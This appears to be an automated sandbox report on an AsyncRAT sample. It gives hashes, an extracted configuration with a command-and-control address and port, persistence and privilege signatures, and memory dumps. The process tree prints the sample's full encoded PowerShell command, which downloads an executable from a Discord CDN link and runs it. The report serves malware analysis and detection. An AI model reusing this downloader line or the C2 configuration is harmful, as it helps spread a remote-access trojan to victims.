Analysis
-
max time kernel
136s -
max time network
147s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system -
submitted
06-12-2022 07:01
Static task
static1
Behavioral task
behavioral1
Sample
d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe
Resource
win10-20220812-en
General
-
Target
d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe
-
Size
7KB
-
MD5
7f184d269ff9d83c9a731ed0255e50c0
-
SHA1
0f30c52625bb96b90d6cbfd8f129c540a7f50f20
-
SHA256
d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5
-
SHA512
32fca3bf5cbc5c3eda34818119ac9b941d9950cb0f14b31a9c41a553f4dbfa5336904a74eecf482cc9174d3ccbd4c71605e16f682db6fcddfc24dfd8adff1c4d
-
SSDEEP
192:NQ9b3L1bhycm8GNvrf8C/LJBWWgaMWedn:G9zLHycmzNbnWzpW2n
Malware Config
Extracted
asyncrat
1.0.7
WindowsDefenderSmarttScreen
217.64.31.3:9742
WindowsDefenderSmarttScreen
-
delay
1
-
install
false
-
install_file
WindowsDefenderSmarttScreen.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/5072-196-0x0000000005B10000-0x0000000005B22000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 7 4760 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
POIXCB3.exepid process 5072 POIXCB3.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
POIXCB3.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce POIXCB3.exe Set value (str) \REGISTRY\USER\S-1-5-21-3844063266-715245855-4050956231-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OperaSetups = "C:\\Users\\Admin\\AppData\\Roaming\\RuntimeBroker\\RuntimeBroker.exe" POIXCB3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 4760 powershell.exe 4760 powershell.exe 4760 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4760 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exepowershell.exedescription pid process target process PID 3836 wrote to memory of 4760 3836 d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe powershell.exe PID 3836 wrote to memory of 4760 3836 d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe powershell.exe PID 4760 wrote to memory of 5072 4760 powershell.exe POIXCB3.exe PID 4760 wrote to memory of 5072 4760 powershell.exe POIXCB3.exe PID 4760 wrote to memory of 5072 4760 powershell.exe POIXCB3.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe"C:\Users\Admin\AppData\Local\Temp\d7246e8b596937c947a1c31357a2dcfdb937fbe46e4f1c6c8ac6dd8ae7f0fca5.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAdgB2ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADEAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA0ADkANAAxADAAMgAxADcANAAyADAANQAzADMAOAAyADAALwAxADAANAA5ADQAMQA3ADUAOQA5ADcANwA3ADIANQA1ADUAMgA0AC8AVwBpAG4AZABvAHcAcwBEAGUAZgBlAG4AZABlAHIAUwBtAGEAcgB0AHQAUwBjAHIAZQBlAG4ALgBlAHgAZQAnACwAIAA8ACMAdABxAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBtAGcAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBlAGoAYgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8ASQBYAEMAQgAzAC4AZQB4AGUAJwApACkAPAAjAHgAcQBnACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAbAB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB2AGwAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8ASQBYAEMAQgAzAC4AZQB4AGUAJwApADwAIwB3AHEAZgAjAD4A"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\POIXCB3.exe"C:\Users\Admin\AppData\Roaming\POIXCB3.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\POIXCB3.exeFilesize
4.2MB
MD5b60e44033994d1fde9a4b6f1338bfa04
SHA17f2cd8091276040ca011174269112099ec3e9bef
SHA256baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e
SHA512a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574
-
C:\Users\Admin\AppData\Roaming\POIXCB3.exeFilesize
4.2MB
MD5b60e44033994d1fde9a4b6f1338bfa04
SHA17f2cd8091276040ca011174269112099ec3e9bef
SHA256baaa098832eb5790a1fabfdc6284eecffdd74a914ea1312c0f413cc5bb814a7e
SHA512a8776d7ce2bffa25cefe789bf8f5a4b5b0b81ef53cd0c783ded1be9ee0f976c6c2a3bd41a4d9c05eb15910051d3cfe490c6390b7029d370ad71487c88416c574
-
memory/3836-118-0x0000000000E30000-0x0000000000E38000-memory.dmpFilesize
32KB
-
memory/4760-119-0x0000000000000000-mapping.dmp
-
memory/4760-124-0x0000022FF82C0000-0x0000022FF82E2000-memory.dmpFilesize
136KB
-
memory/4760-127-0x0000022FF85E0000-0x0000022FF8656000-memory.dmpFilesize
472KB
-
memory/5072-142-0x0000000000000000-mapping.dmp
-
memory/5072-144-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-146-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-147-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-148-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-149-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-150-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-151-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-152-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-154-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-155-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-156-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-157-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-158-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-159-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-160-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-161-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-162-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-163-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-164-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-165-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-166-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-167-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-168-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-169-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-170-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-171-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-172-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-173-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-174-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-175-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-176-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-177-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-178-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-179-0x0000000000E90000-0x00000000012BE000-memory.dmpFilesize
4.2MB
-
memory/5072-180-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-181-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-182-0x0000000005B60000-0x0000000005BFC000-memory.dmpFilesize
624KB
-
memory/5072-183-0x0000000006100000-0x00000000065FE000-memory.dmpFilesize
5.0MB
-
memory/5072-184-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-185-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-186-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-187-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-188-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-189-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-190-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-191-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-192-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-193-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-194-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-195-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-196-0x0000000005B10000-0x0000000005B22000-memory.dmpFilesize
72KB
-
memory/5072-197-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-198-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-199-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-200-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-201-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-202-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-203-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-204-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB
-
memory/5072-205-0x0000000077A40000-0x0000000077BCE000-memory.dmpFilesize
1.6MB